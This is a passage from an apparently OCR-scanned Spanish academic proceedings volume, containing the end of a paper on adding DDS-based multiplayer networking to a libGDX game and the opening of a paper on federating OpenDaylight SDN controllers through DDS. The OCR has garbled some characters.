las tareas mas diversas: desde la comunicacion entre dos o
mads personas, el almacenamiento de datos en la nube, el ocio
interactivo, los sistemas de vigilancia online, etc.

Entre estas aplicaciones podemos encontrar las relacionadas
con la distribucién de datos. Tradicionalmente los sistemas
distribuidos han utilizado una arquitectura centrada en men-
sajes donde es el mensaje el medio de interaccién. Esta
solucién resulta complicada de implementar y puede afectar
al rendimiento y robustez del sistema [1]. Una alternativa
mds actual es la arquitectura centrada en datos en la que
son los datos los medios de interaccién. Bajo un global data
space (espacio global de datos) los datos son intercambiados
y es la propia infraestructura la que especifica como son
estructurados, cuando son intercambiados o cémo se puede
acceder a ellos [2]. Una de las implementaciones dadas
por la industria para abordar este problema es DDS (Data
Distribution Service) [3], una especificacion estandarizada
por la OMG (Object Management Group) de un middleware

basado en una arquitectura centrada en datos y con el que se
trabajard en el proyecto.

Otra drea donde el avance de las tecnologias ha destacado
con especial relevancia es en del ocio interactivo. Con la
llegada de los computadores se abrié un nuevo horizonte en
la industria del ocio. Desde el primitivo Pong de Atari hasta
los juegos mads recientes, generaciones enteras han pasado
muchas horas de diversion frente a las pantallas. Tal ha sido su
influencia que los videojuegos se han convertido en un aspecto
mds de la vida diaria y se pueden encontrar en cualquier
dispositivo a nuestro alcance, desde las habituales consolas, al
ordenador, el teléfono movil o las tabletas. Paralelamente a su
desarrollo han aparecido diversas herramientas y plataformas
para la creacién de videojuegos. Se estima que en 2014 la
industria del videojuego gener6 71.600 millones de euros y
la comunidad de jugadores llegé a los 1.700 millones de
personas [4], lo que da una idea de la relevancia del sector.

Con el presente proyecto se espera conseguir una plena inte-
gracion de estas dos tecnologias, aunando en una sola entidad
las funcionalidades de cada una de ellas y consiguiendo que
la unién de ambas repercuta en una mejora de las prestaciones
de ambas herramientas.

II. REVISION DEL ESTADO DEL ARTE Y ANTECEDENTES
A. Distribucion de datos

Los sistemas basados en la distribucién de datos se caracter-
izan por intercambiar informacién y coordinar acciones entre
elementos conectados a redes de computadores para lograr
un objetivo comun. Algunas de las caracteristicas de estos
sistemas son la tolerancia a fallos gracias a la independencia
de los diversos componentes, la concurrencia de los mismos
o la ausencia de un reloj global.

Con este propdsito en el pasado se propusieron diversos
mecanismos que asegurasen la seguridad, eficiencia, flexi-
bilidad y extensibilidad de los sistemas distribuidos. Una
de las primeras soluciones que se disefiaron para esta tarea
fue RPC (Remote Procedure Call) [5] una libreria desarrol-
lada para facilitar la ejecucién de procedimientos remotos.
Posteriormente, con base en RPC se crearia un protocolo
llamado XML-RPC, el cual usaria XML para codificar los
datos. Mds adelante aparecerian otros sistemas como CORBA
[6] (Common Object Request Broker Architecture) y SOAP
[7] (Simple Object Access Protocol) siendo este tltimo una
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mejora de XML-RPC. Sin embargo estos sistemas adolecian
de algunas deficiencias al estar enfocados en la interaccion
entre objetos y no tanto en la distribucion de datos. Asi
mismo se hacian necesarios estdndares que permitieran la
comunicacion en tiempo real. Con esta necesidad se planted
un nuevo paradigma basado en una metodologia publicacion-
subscripcion en el que los emisores declaran los temas que
van a publicar y los receptores se suscriben a los temas que
les sean de interés. En 2004 la OMG se basé en esta nueva
metodologia para crear un nuevo middleware 1lamado DDS.

En la actualidad son varias las empresas que han desarrol-
lado herramientas que utilizan middleware DDS para diversos
propdsitos. Se pueden encontrar diversas implementaciones,
tanto comerciales como de cddigo abierto, las cuales aportan
APIs para multitud de lenguajes como ADA, C, C#, Java,
Scala, Lua, Pharo y Ruby. Entre ellas destacan Connext DDS
[8] y Vortex OpenSplice [9] de Real-Time Innovations y
PrismTech respectivamente. La primera de ellas ofrece un
amplio catdlogo de pardmetros de calidad de servicio que
se adaptan a las necesidades de tiempo real, a los requisitos
de fiabilidad o a los recursos disponibles, mientras que la
segunda permite que los datos sean compartidos e integrados
en una amplia gama de sistemas operativos y plataformas,
especialmente en plataformas de tipo servidor (escritorios,
racks, etc), asi como en entornos mds especializados en
tiempo real.

B. Desarrollo de juegos en red multijugador

Las tecnologias de red asociadas a juegos multijugador no
aparecieron hasta los afios 70, cuando la consolidacién de las
redes de ordenadores basadas en paquetes y las tecnologias
asociadas. Una de las primeras herramientas utilizadas para
crear juegos en red multijugador fue la plataforma PLATO
System [10] creada en 1973 por la Universidad de Illinois, que
constaba de una computadora central y cientos de terminales
repartidos por EEUU. En 1974, aparecié Maze Wars, un juego
en el que se podian enfrentar dos jugadores conectando sus
terminales con un cable serie dando lugar a un primitivo
sistema peer-to-peer. Mas adelante debido al desarrollo de
internet surgieron los primeros juegos en utilizar la familia
de protocolos TCP/IP como por ejemplo SGI Dogfight.

En la década de los 90 los juegos multijugador acabaron
por popularizarse y algunos juegos tuvieron gran éxito como
Doom II, Duke Nukem o Quake. También surgieron nuevos
modos de juego, como los MMOG (Massively Multiplayer
Online Game), en torno a los cuales se empez6 a utilizar la
arquitectura peer-to-peer frente a la habitual cliente-servidor.
La idea central del modelo peer-to-peer es que cada par aporta
los recursos suficientes para hospedar la red. Esto también
significa que todas las funciones del servidor en el modelo
clésico de cliente-servidor se distribuyen ahora entre todos los
pares. Algunas de las ventajas de este nuevo modelo frente
al anterior son una mayor robustez, escalabilidad mejorada,
menores costes de operacién y latencias mas bajas [11]. A
pesar de esto, atin puede presentar problemas de latencia
y debe lidiar con problemas como el ancho de banda o la
potencia de célculo [12]. Estos problemas se han intentado
paliar con diversas técnicas, en especial con AoIM (Area of
Interest Management) [13], una técnica a nivel de aplicacién

que tiene como objetivo reducir el nimero de mensajes
transmitidos localizando los nodos potencialmente interesados
y difundiendo el estado del jugador solo a aquellos nodos con
un interés actual por su estado.

Respecto a los frameworks y motores de desarrollo de
videojuegos su nimero es muy elevado ya que han ido
surgiendo seguin las necesidades de los desarrolladores o de
las exigencias de los usuarios o el mercado. Por este motivo
cada uno de ellos presenta unas caracteristicas adaptadas al
uso con el que fueron disefiados. En ese sentido podemos
encontrar motores disefiados para un lenguaje concreto (Java,
C#, C++, etc), orientados a plataformas 2D o 3D, creados para
una plataforma concreta o para varias, con licencias privativas
o libres, etc. Se pueden mencionar algunos de los mas actuales
como Unreal Engine 4 [14], Unity [15] y libGDX [16].

III. HERRAMIENTAS UTILIZADAS

Las principales herramientas utilizadas en este proyecto
han sido el middleware DDS (en concreto su implementacion
comercial Connext DDS) y el framework de desarrollo de
videojuegos libGDX.

A. DDS

DDS es un middleware y un estandar para la comunicacién
centrada en datos desarrollado por OMG [3]. Estd basado
en el modelo publicacién-subscripcidon y su objetivo es pro-
porcionar conexiones con un bajo retardo, maxima fiabilidad
y una arquitectura escalable requerida por las aplicaciones
del Internet de las cosas y otros ambitos de aplicacion.
En el modelo publicacién-subscripcion los elementos de la
comunicacion son los que se subscriben a los datos que
necesitan y los que publican los datos que desean compartir,
permaneciendo desacoplados en espacio y tiempo unos de
otros.

DDS hace uso de un espacio global de datos (Global
Data Space), donde las aplicaciones comparten la informacion
simplemente leyendo y escribiendo datos de los objetos que
son referenciados por un nombre definido por la aplicacién
(Topic) y una clave (key), sin que necesiten conocer el origen
de la informacién o cdmo ha sido producida. Asi mismo DDS
cuenta con un control preciso y extenso de los pardmetros de
calidad del servicio (QoS) y soporta comunicaciones de uno a
uno, de uno a muchos y de muchos a muchos. En la Figura 1
se muestra un esquema de un escenario DDS.

Topic

Topic Topic

DomainParticipant

T T T
Data Data Data Data Data Data
Reader Writer Writer Reader Reader Writer
Subscriber Publisher Subscriber Publisher
\‘ Domain >

Fig. 1. Componentes del estdndar DDS

El modelo publicacién-subscripcion empleado por DDS ha
sido poco utilizado en el dmbito de los videojuegos pero
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constituye una herramienta muy potente para el desarrollo
de los mismos, al simplificar las tareas relacionadas con la
comunicacién en red o la jugabilidad de los mismos.

B. LibGDX

LibGDX es un framework de desarrollo de videojuegos
basado en Java que puede ser utilizado en multiples platafor-
mas como Windows, Linux, Mac OS X, Android, iOS y
HTMLS.

Una de las grandes ventajas de 1ibGDX es que ofrece la
posibilidad de escribir el cddigo en una dnica plataforma y
desplegarlo en el resto, sin tener que modificar el codigo. Asi
mismo también permite ir a mas bajo nivel si se desea, dando
acceso directo al sistema de ficheros, a los dispositivos de
entrada y a OpenGL (una API para generar grificos 2D y
3D) a través de la interfaz unificada OpenGL ES 2.0 y 3.0.

LibGDX ofrece a su vez un conjunto de APIs que ayudan
en las tareas comunes de desarrollo de videojuegos, como son
la representacion de sprites y texto, la creacidon de interfaces
de usuario, la reproduccién de efectos de sonido, el cdlculo
de procesos matematicos y otras funciones relacionados con
la programacion de videojuegos.

IV. DISENO

El disefio planteado pretende conseguir que un juego ya
existente de un solo jugador y sin la capacidad de ser
jugado en red, sea adaptado para ofrecer caracteristicas de
un juego multijugador en linea, con la adicién de algunas
caracteristicas que aumenten su jugabilidad, utilizando para
ello el middleware DDS.

El juego se ha diseflado para ser un juego multijugador
colaborativo entre dos jugadores. La accién comienza al
mismo tiempo para ambos, y deben ir eliminando enemigos
conforme superen los diferentes niveles. Si uno de ellos
muere, el otro jugador sigue jugando hasta que elimine al
dltimo enemigo o sea derrotado. Tras la muerte de cada uno
se muestra la puntuacion conseguida individualmente, por lo
que aparte del objetivo comiin ambos pueden competir por ser
el mejor. Por otra parte, cada uno de los jugadores puede elegir
una dificultad personalizada aunque estén jugando juntos. Esta
dificultad se elige antes comenzar y las opciones ofrecidas son
Fdcil y Dificil. La primera opcidn no tiene efecto real sobre
el juego ya que se muestra el juego tal cual es. La segunda
sin embargo afiade una serie de obsticulos (asteroides) que
el jugador debe evitar y que dificultan su movimiento por la
pantalla.

Para conseguir esto se han afiadido varias caracteristicas al
juego inicial: se ha incluido un segundo jugador cuya posicién
vendra determinada por los datos recibidos, una pantalla de
dificultad para elegir el nivel deseado y la adicién de los
obstdculos. Asi mismo se ha impuesto que la comunicacién
sea fiable para que todos los paquetes intercambiados entre los
jugadores lleguen a su destino. Para ello habrd que configurar
la politica de calidad de servicio Reliability ofrecida por DDS.

El otro bloque importante en el disefio del juego lo
forman los elementos que gestionan la comunicacion. Los
diferentes interacciones entre los jugadores necesitan ciertos
datos que deben ser enviados y recibidos. DDS proporciona
las herramientas necesarias para realizar esto, utilizando las
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estructuras Publisher y Subscriber. Los datos a transmitir son
los siguientes:

« Identificacién inicial: para iniciar el juego en el mo-
mento en que se conecten ambos jugadores es necesario
que cada jugador emita una identificacién para que el
otro, en caso de estar conectado, la reconozca y permita
que comience el juego.

« Posiciones de los jugadores: se envian las coordenadas
x e y de cada jugador que son recibidas al otro lado de
la comunicacién para ser representadas.

« Interacciones de los jugadores: cada vez que un jugador
dispara se manda una notificacién para mostrar la accién.
Por otra parte, en caso de que uno de los jugadores sea
eliminado también se informa de este hecho.

o Posiciones de los obstaculos: los obsticulos, al con-
stituir una publicacién a la que subscribirse, envian sus
posiciones y son recibidas por aquellos jugadores que
hayan elegido la dificultad Dificil.

La comunicacién con DDS se hace a través de dos pub-
licadores (publishers) y sus correspondientes subscriptores
(subscribers).

o El primer Publisher (PublisherJugador) se encargara
de publicar los datos de los jugadores. Utilizard dos
DataWriters, uno para la transmision de la identificacién
inicial y otro para la transmisién de la posicidn, el estado
del disparo y la salud del jugador (en activo o elimi-
nado). Cada uno de ellos utilizard un Zopic diferente.
El Subscriber (SubscriberJugador) asociado contara con
dos DataReaders para recibir los datos.

o El segundo (PublisherObstaculos) se encargard solo de
los obsticulos y usard un unico DataWriter. Asi mismo
habré un Subscriber (SubscriberObstaculos) que se sub-
scribird a sus datos.

En la Figura 2 se muestran los componentes de la comu-

nicacion disefiados.

(Topicobs)

Topiciug

Topen I

|

Datawriter

Datawiter Oatawiter DataReadsr Datareadel, Datareadel

PublisherObstaculos; PublisherJugador SubscriberObstac. ‘SubscriberJugador

DOMINIO

Fig. 2. Componentes de la comunicacion

V. IMPLEMENTACION

Para implementar el disefio planteado en primer lugar hay
que configurar el entorno de desarrollo elegido, en este caso
Eclipse. El framework 1libGDX requiere utilizar Gradle y An-
droid, por lo que los plugins asociados a estas funcionalidades
deben ser afiadidos al IDE.

A continuacién se definen los datos a enviar que serdn la
base de la comunicacién. Para ello se utilizan archivos IDL
(Interface Description Language). Estos documentos recogen
las definiciones de los tipos de datos a transmitir (por ejemplo,
double, string, etc) y cada conjunto de elementos Publisher-
Subscriber se disefia en base a uno de estos documentos. En
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el presente proyecto se definen dos IDLs, uno para los datos
referentes a los jugadores y otro para los obsticulos. Estos
documentos ademds servirdin de plantilla a la herramienta
Code Generator de Connext DDS para generar los cédigos
que gestionardn el intercambio de datos. Concretamente el
IDL correspondiente a los jugadores definird dos variables
double, para las posiciones x e y del jugador, una variable
booleana para indicar el disparo, otra varible booleana para
indicar si el jugador estd vivo o no y una variable double
para la identificaciéon. Por otra parte, el IDL que define
los pardmetros de comunicacién de los obsticulos tendrad
unicamente dos variables double para las posiciones x e y
de los mismos.

Utilizando estos documentos como base, la herramienta
Code Generator de Connext DDS en funcién de unos
parametros (por ejemplo, el lenguaje de programacién de-
seado, en este caso JAVA al ser el lenguaje que utiliza
1ibGDX) devuelve las interfaces de acceso al middleware.
Estas interfaces serdn la base para crear los publicadores y
los subscriptores descritos en apartados anteriores.

Una de las posibilidades que ofrece DDS es la de configurar
el comportamiento de la comunicacién mediante politicas
de QoS. En este proyecto se ha optado por implementar la
politica Reliability, que se caracteriza por asegurar la entrega
fiable de todos los paquetes. La configuracion de dichas
politicas se puede realizar programéndola directamente en el
codigo o utilizando un archivo XML de configuracién. La
ventaja de la segunda opcién es que se pueden modificar las
veces necesarias las politicas de QoS sin necesidad de volver
a compilar la aplicacién. La opcién elegida en este caso ha
sido la del archivo XML.

V1. EVALUACION

Una vez descrito el disefio y la implementacién del juego
multijugador en esta seccion se hace una evaluacion cualitativa
de las mejoras incorporadas a nuestro juego gracias a las
funcionalidades aportadas por DDS.

Por otra parte también se evalian aquellas funcionalidades
que pueden ser mejoradas por el middleware DDS aunque no
hayan sido implementadas. Para ello se analizan las politicas
de QoS ofrecidas por DDS y en concreto por Connext DDS,
que permiten configurar diversas caracteristicas que pueden
mejorar la eficiencia, jugabilidad y seguridad de los juegos
multijugador.

A. Evaluacion cualitativa

« El tiempo y trabajo de desarrollo de un juego multiju-
gador se simplifica al utilizar el middleware DDS. De
no haberlo utilizado, cuestiones como el establecimiento
de las conexiones, la sincronizacién de las entidades o
el envio de los datos habrian requerido més tiempo y
complejidad al implementarlo.

o Se han incorporado nuevas caracteristicas a la jugabili-
dad, al permitir eligir determinados obstdculos mediante
una subscripcion en DDS. La arquitectura centrada en
datos de DDS simplifica este proceso ya que solo es
necesario transmitir los datos de interés, sin necesidad
de modificar el c6digo en exceso.

« Las politicas de QoS facilitan enormemente la adaptacién
de la comunicacién a las especificaciones deseadas. En
el caso particular del videojuego desarrollado, se impuso
que todos los paquetes llegaran a destino, lo que se pudo
realizar simplemente configurando la politica de QoS
Reliability en un archivo XML.

B. Evaluacion cualitativa de acuerdo a las politicas de QoS
de DDS

Las politicas de QoS controlan practicamente cualquier
aspecto de Connext DDS y de los mecanismos subyacentes.
Estas politicas aparte de afiadir nuevas funcionalidades a la
comunicacién pueden servir para reducir la complejidad a la
hora de desarrollar un juego. Acciones que requieren un gran
esfuerzo del programador pueden ser solventadas aplicando la
politica de QoS adecuada. De las mds de cincuenta politicas
de QoS que nos facilita Connext DDS a continuacién se
presentan aquellas mas relevantes para el desarrollo de juegos
multijugador divididas en funcién del aspecto concreto del
juego que mejoran:

1) Seguridad:

« Politica DataReader Resource Limits: es util para
evitar que determinados elementos desestabilizadores
acaparen el envio de datos.

« Politica Group Data: permite identificar a cada jugador
antes de establecer la conexién y asi aislar a jugadores
toxicos.

2) Eficiencia:

« Politica Deadline: genera una alerta si transcurrido un
tiempo no se ha recibido un dato.

« Politica Durability: almacena datos que ya han sido
enviados para su posterior entrega a jugadores que se
conecten mds tarde a la comunicacion.

o Politica Reliability: asegura la entrega fiable de la
informacidn.

3) Jugabilidad:

« Politica Lifespan: da un tiempo de vida mdximo a cada
mensaje lo que permite evitar inconsistencias en el juego.

« Politica Ownership: otorga la prioridad de escritura a
un miembro de la comunicacién, por lo que puede ser
utilizado para dar privilegios a un jugador.

« Politica Partition: permite establecer diferentes planos
de visibilidad entre jugadores.

VII. CONCLUSIONES Y TRABAJO FUTURO
A. Conclusiones

El trabajo actual ha conseguido cumplir los objetivos prop-
uestos con las siguientes conclusiones:

1) Laintegracién entre el middleware DDS y un framework
de desarrollo de videojuegos (en concreto, libGDX)
resulta factible. Se demuestra que es posible utilizar
la tecnologia DDS en un entorno poco habitual para
esta herramienta. Aun asi, también se ha comprobado
que pueden existir incompatibilidades con al menos un
motor de desarrollo, Unity.

2) El uso del middleware DDS simplifica el desarrollo
de las caracteristicas relacionadas con el intercambio
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de datos en un juego multijugador. Su arquitectura
centrada en datos permite ocuparse solamente de los
datos enviados y no de las configuraciones relacionadas
con la comunicacién.

3) Los resultados de este proyecto permiten a cualquier
desarrollador de 1ibGDX incluir un modo multijugador
y niveles de dificultad en la creacién de nuevos juegos,
usando como base de la comunicacién el middleware
DDS.

4) El andlisis realizado de las diferentes politicas de QoS
constituye una guia de referencia para futuras imple-
mentaciones del middleware DDS sobre juegos multiju-
gador. Por ejemplo, la evaluacidn realizada de la politica
Fartition demuestra que se puede crear un sistema
jerarquico entre los usuarios de un juego utilizando
simplemente la configuracion de politicas de QoS que
ofrece DDS.

B. Trabajo futuro

Algunas lineas de trabajo futuro a explorar son:

o Implementacion de algunas de las politicas de QoS
descritas: Politicas de QoS como Ownership o Dead-
line que no han sido implementadas en este proyecto
afiadirfan nuevas capacidades a los juegos multijugador.

e Uso de la aplicacion en diferentes dispositivos de forma
simultdnea: Un mismo juego multijugador podria ser
ejecutado al mismo tiempo en diferentes dispositivos
(smartphone, ordenador, etc) aprovechando las carac-
teristicas de la arquitectura centrada en datos del mid-
dleware DDS.
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Resumen—Las Software Defined Networks se caracterizan por
una arquitectura de red mas flexible, escalable y potente que las
redes actuales, ya que permiten separar el plano de control del
plano de datos de la red. Este proyecto pretende, mediante el
uso del estandar Data Distribution Service, que en un escenario
determinado, dos controladores compartan una imagen unica de
toda la red, a fin de reducir el tiempo de recuperacion frente
a fallos y aumentar la escalabilidad de la misma. Ademas del
disefio, en este trabajo también se incluye los pasos necesarios
para la implementacion de dicho escenario, asi como las pruebas
realizadas sobre el mismo, tanto cualitativas como cuantitativas.

Palabras clave—Data Distribution Service, federacion, Open-
[flow, Software Defined Network.

I. INTRODUCCION

N la actualidad, hay una serie de nuevos entornos y

necesidades -como pueden ser despliegues masivos de
entornos IoT, la provisién de servicios en cloud, las aplica-
ciones del Big Data o el advenimiento de la nueva arquitectura
5G para la red movil- que estan impulsando la consideracion
de un nuevo paradigma de red. Las redes actuales -basadas
en routers tradicionales- no son necesariamente la mejor
aproximacién para satisfacer los nuevos requerimientos del
mercado en cuanto a servicios de telecomunicacién. Entre las
limitaciones mas relevantes se incluyen la rigidez impuesta
por el fuerte acoplamiento entre hardware y software en los
routers, su nula “programabilidad”, su dificultad para escalar
y la gran dependencia con el fabricante a la hora de adoptar
soluciones que mejoren el disefio de la red.

Es en este escenario donde recientemente se ha propuesto
un nuevo modelo de red denominado Software Defined Net-
working[4][5] que empresas -operadores y proveedores de
servicios, entre otros- tan significativas como Google, estdn
ya incorporado en sus infraestructuras.

La principal caracteristica y novedad de las SDN consiste
en desacoplar el plano de control del plano de datos. Esto
es, simplificar enormemente la funcionalidad de los routers,
pasando a ser meros conmutadores que realizan tareas exclusi-
vamente del plano de datos; mientras que la “inteligencia” de
la red, se disocia y traslada a una entidad ajena -el controlador-
el cual dispone de una vision del plano de control més global,
dindmica, desacoplada del hardware del fabricante y con una
mayor capacidad para ser programado.

La otra tecnologia sobre la que se fundamenta este tra-
bajo es el Data Distribution Serice[6]. Este middleware es-
tandarizado por la Object Management Group (OMG) se basa
en un paradigma publicacién/subscripcién centrado en datos.
Esta especificacion estd especialmente concebida para satis-
facer los requisitos de las aplicaciones distribuidas mas exi-
gentes en términos de fiabilidad, robustez y altas prestaciones,
desacoplando la produccién y consumo de informacién a
través de un espacio virtual de datos que es compartido por
todas las entidades. Ademds su caricter centrado en datos
simplifica el disefio del sistema final, haciéndolo mas flexible,
interoperable, eficaz y tolerante a fallos.

El objetivo de este trabajo es mejorar la robustez, escal-
abilidad y tolerancia a fallos de una red basada en SDN.
Para ello se propone usar el middleware DDS para distribuir
las tareas del controlador SDN. Nuestra propuesta permite
evolucionar de un controlador centralizado -como es habit-
ual en despliegues SDN convencionales- a un conjunto de
controladores federados y sincronizados (con DDS) que sean
capaces de cooperar, compartiendo una misma imagen de la
red, mejorando drasticamente tanto la robustez, el tiempo de
respuesta frente a fallos y la escalabilidad del sistema.

Ademas de proporcionar los detalles del disefio propuesto,
en este trabajo se ha realizado una implementacién ademas de
una serie de test preliminares que demuestran los potenciales
beneficios del esquema propuesto.

Para ello, el trabajo se ha organizado de la siguiente manera.
Tras esta introduccién, en el siguiente apartado se resume
el estado del arte de las tecnologias y soluciones propuestas
relacionadas con el problema abordado. En el Apartado III se
explica el disefio realizado; a continuacién en el Apartado
IV -para facilitar la reproducibilidad de este estudio- se
resumen los detalles mas relevantes de la implementacién
llevada a cabo. Después, en la Seccién V se incluyen los
resultados obtenidos en la evaluacién del sistema propuesto
en un escenario en particular, finalizando con los apartados
de conclusiones y bibliografia.

II. ESTADO DEL ARTE
En esta seccidn se analizan las soluciones alternativas mas

relevantes relacionadas con la federacion de controladores en
redes SDN.
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A. HyperFlow

HyperFlow[1], presenta un panel de control distribuido
basado en eventos para OpenFlow. HyperFlow es 16gicamente
centralizado pero fisicamente distribuido; provee escalabilidad
manteniendo las ventajas de la red centralizada.

Cada switch estd conectado al controlador mds préximo,
todos los controladores usan el mismo software y comparten la
misma imagen de la red. Para conseguir esto, cada controlador
publica los eventos que cambian el estado de todo el sistema,
el resto de controladores replican el mensaje, reconstruyendo
asi el estado del sistema. Para propagar los mensajes, Hyper-
Flow usa el paradigma de publicacién/suscripcion.

Aunque HyperFlow tiene muchas ventajas, segtin afirman
sus creadores en el articulo en el que se describe esta solucion,
el retardo cada vez que la red debe converger a un estado
nuevo va aumentando en cada iteracion.

B. CPRecovery

CPRecovery[2] es un componente basado en la técnica
“Primary-Backup”, que permite fortalecer la red frente a fallos
en un sistema centralizado y reducir el tiempo de transicién
entre el controlador que ha fallado y el de backup. El modo de
operacion se divide en dos fases, replicacion y recuperacion.

En la fase de replicacién el CPRecovery actiia durante la
operacion normal del sistema, es decir, la tabla de flujos de los
switches se va completando conforme se envian peticiones y
se reciben las respuestas oportunas. El switch también manda
un mensaje llamado “inactivity probe” si ve que el controlador
ha entrado en un estado “ocioso” y espera durante un tiempo
determinado. Si transcurrido ese tiempo el controlador no
envia una respuesta, el switch asume que el controlador ha
fallado, entrando asi en la fase de recuperacion. En esta fase,
el switch busca al siguiente controlador en la lista e inicia
una conexion con él. Una vez se ha completado este proceso,
el controlador pasa a gestionar el switch, convirtiéndose en
primario.

C. SDNi

El desarrollo de la aplicaciéon SDNi[3] fue llevado a cabo
por parte de la empresa Tata Consultancy Services en 2012
como parte del proyecto Opendaylight[8].

Hay dos implementaciones potenciales de SDNi: En la
implementacidn vertical, existe un controlador SDN “master”,
localizado un nivel por encima del resto de controladores
individuales. Este controlador tiene una visiéon general de
toda la red a través de todos los dominios interconectados.
Esta implementacién provee de una mejor jerarquia a la red,
sin embargo, en caso de fallo del controlador maestro, la
red entera caerfa. En la implementacién horizontal, los con-
troladores SDN establecen una comunicacion peer-to-peer.
Posibilitando una comunicacién controlador a controlador se
consigue aumentar la resistencia a fallos de red, asi como
reducir el 4rea a la que afecta dicho fallo.

La arquitectura de la aplicacion SDNi estd integrada dentro
de la propia estructura del controlador Opendaylight[3] , uti-
lizando varios de sus elementos, por ejemplo los core network
functions (statics manager, topology manager...), para llevar
a cabo su funcién. Los tres elementos que componen SDNi

son: SDNi Aggregator (recoger pardmetros de la red), SDNi
REST API (darles formato) y SDNi Wrapper (transmitirlos al
resto de controladores).

III. DISENO

A continuacidn, se explican detalles de nuestra solucién y
en particular aspectos del disefio de la solucién propuesta.
Para ello se distinguen dos partes bien diferenciadas: en
primer lugar se procede al disefio de la arquitectura sobre
la cual se implementard la solucién propuesta; en segundo
lugar, se analizan todos los médulos que componen la solucién
desarrollada para conseguir la federacién de controladores
SDN.

La arquitectura de la solucién escogida es de tipo publi-
cacién/suscripcion, con una topologia SDN subyacente. Uno
de los controladores Opendaylight actia como Publisher y el
otro como Subscriber.

A. Publisher

En este apartado se describen las funciones que le han sido
afiadidas al controlador Opendaylight para hacer posible el
envio de informacion al Subscriber, asi como la creacién de
flujos para el encaminamiento de paquetes cuando se tiene
una topologia multiswitch.

o Creacion de los flujos: Cuando el controlador de la red
SDN empieza a funcionar, envia a todos los swiftches
que tiene directamente conectados unos mensajes Link
Layer Discovery Protocol (LLDP), cuya funcién princi-
pal reside en construir una imagen de la red, es decir,
conocer la topologia de la red subyacente. Cuando a
un switch directamente conectado al controlador llega
un paquete para el cual el switch no tiene ningin flujo
instalado; es decir, no sabe que hacer con ese paquete,
este es reenviado al controlador. El controlador consulta
sus propias tablas, si no existe una ruta para el paquete
entrante la crea e inunda todos los enlaces con el paquete.
Una vez hecho esto, el controlador devuelve el paquete
al switch correspondiente y ademads instala el flujo en la
tabla de encaminamiento de dicho switch. Esta tdltima
parte abarca una versiéon modificada de la aplicacién
llamada learning-switch.

« Envio de datos mediante DDS: En las funciones
predeterminadas del controlador, no hay ninguna que
permita enviar informacién o datos a otro controlador.
Por este motivo, se ha disefiado un mddulo, que basado
en el estindar DDS y usando el software Connext
DDS, permita la adecuacién de la informacién para
su envio, asi como el control de todos los elementos
(seguridad, QoS, formato de los datos...) que forman
parte de cualquier comunicacién basada en el modelo
publicacién/suscripcion.

La comunicacion se estructura mediante el uso de Topics.
En el disefio propuesto, se cuenta con un Topic para
enviar datos relativos a las notificaciones de los paquetes
entrantes, topologia, flujos, etc entre controladores. Este
moédulo es una de las partes mds importantes de este
proyecto, pues junto con el del Subscriber, es el que
permite llevar a cabo la federacion de los controladores,
y el que en definitiva habilita a los controladores para
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compartir una imagen comun de todos los switches de la
red y sus rutas.

AFIREST

Metwork Service Functions

H Madulo creador de flujos

{listener) Flow Programmer
[ ——
. Store
v

Service Abstraction Layer
b (SAL)
v Plugin Manager

Madulo de comunicacion

Fig. 1. Esquema elementos Publisher.

En la Figura 1 se puede ver con qué elementos del contro-
lador Opendaylight debe interactuar cada médulo, asi como
las relaciones entre los dos médulos desarrollados.

Los moédulos verdes y rojos representan elementos del
propio controlador Opendaylight. Destacar que el médulo de
envio usa su propia librerfa, por lo que también usa unos
métodos especificos.

B. Subscriber

De forma andloga al Publisher, en este apartado se resumen
las funciones afiadidas al controlador Opendaylight que de-
sempefia el rol de Subscriber en la comunicacién, con el fin
de hacer posible la recepcion de la informacién enviada por
el otro controlador y su uso en el funcionamiento de la red.

o Recepcion de datos mediante DDS: Al igual que en
el Publisher, se ha disenado un moédulo que permite
la recepciéon de la informacién enviada por el otro
controlador. Cuando el middleware DDS transmite la
informacién, la deposita en un buffer, garantizando el
orden de entrega de los paquetes. Este médulo se encarga
de coger los datos de esta cola, para ello, es necesario
implementar un listener que notifique a la aplicacién
cuando haya datos disponibles en dicho buffer.

e Creacion de flujos: Este mddulo tiene una funcidn
similar al médulo creado en la parte del Publisher, pero
con una ligera diferencia, y es que permite afiadir a
la tabla de flujo del controlador no solo los flujos de
los switches directamente conectados, sino que también
permite instalar flujos a partir de los datos recibidos por
DDS de otro controlador federado. Para afiadir estos
flujos, la informacién recibida debe ser “parseada” al
formato original de envio, de esto se encarga también
este médulo.

« Reconstrucciéon de la topologia: Entre los datos que
se reciben por DDS, se encuentran los referidos a la
topologia, como pueden ser los nodos, los puertos de
cada nodo (NodeConnector o TerminationPoint), o in-
cluso los Links entre varios nodos. La funcién principal
de este mddulo consisten en recoger los datos recibidos
referentes a la topologia e incluirlos en la MD-SAL Data-
Store, permitiendo asi que el controlador “’secundario”
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pueda tener la misma imagen de la red que el controlador
’primario”.
APIREST

Médulo creador de flujos
(listener)

u \i“l“

Service Abstraction Layer Network Service Functions
(SAL) | Médulo de comunicacién Flow Programmer
Plugin Manager —

[Wo_peTaudnamaTai
‘ | - Store
V

Méadulo de datos
(reconstruir datos originales a
partir de muestras DDS)

Fig. 2. Esquema elementos Subscriber.

Hay un aspecto importante a destacar y sobre el que se
asienta la necesidad de implementar estos mddulos, princi-
palmente en el lado del Subscriber. Como se explica en el
siguiente apartado, los principales switches de la topologia
creada estdn conectados a ambos controladores, pero sélo
uno actia como MASTER, mientras que el otro actiia como
SLAVE, a la espera de un fallo del MASTER([7].

El controlador que actia como MASTER (Publisher), tiene
acceso completo al switch, es decir, puede modificarlo a su
antojo ya que tiene permisos tanto de escritura como de
lectura. El controlador que actiia como SLAVE (Subscriber),
tiene un acceso mas limitado al switch, y no recibe los
mensajes asincronos del mismo ni responde a los mensajes
LLDP. Esto implica que aunque el controlador SLAVE este
conectado al swifch, no dispone de ninguna informacién de
los flujos que este posee, ni sobre la topologia de la red.

IV. IMPLEMENTACION

El préximo paso en la elaboracién del proyecto abarca la
implementacién del disefio explicado en el apartado anterior.
Es necesario tener un entorno de desarrollo estable, a fin de
evitar fallos en el sistema que complican la correcta ejecucion
tanto del controlador Opendaylight como del simulador de
redes Mininet. Para ello, se cuenta con dos maquinas virtuales,
en cada una de ellas se encuentra instalado un controlador
Opendaylight.

Otra de las partes mas importantes de este apartado, y que
es de vital importancia para el proyecto, es llevar a cabo la
integracién del software RTI Connext DDS en la arquitectura
del controlador Opendaylight, y dentro del repositorio de
Maven, que es un software usado en este proyecto para crear
los esqueletos de las aplicaciones. El hecho de instalar la
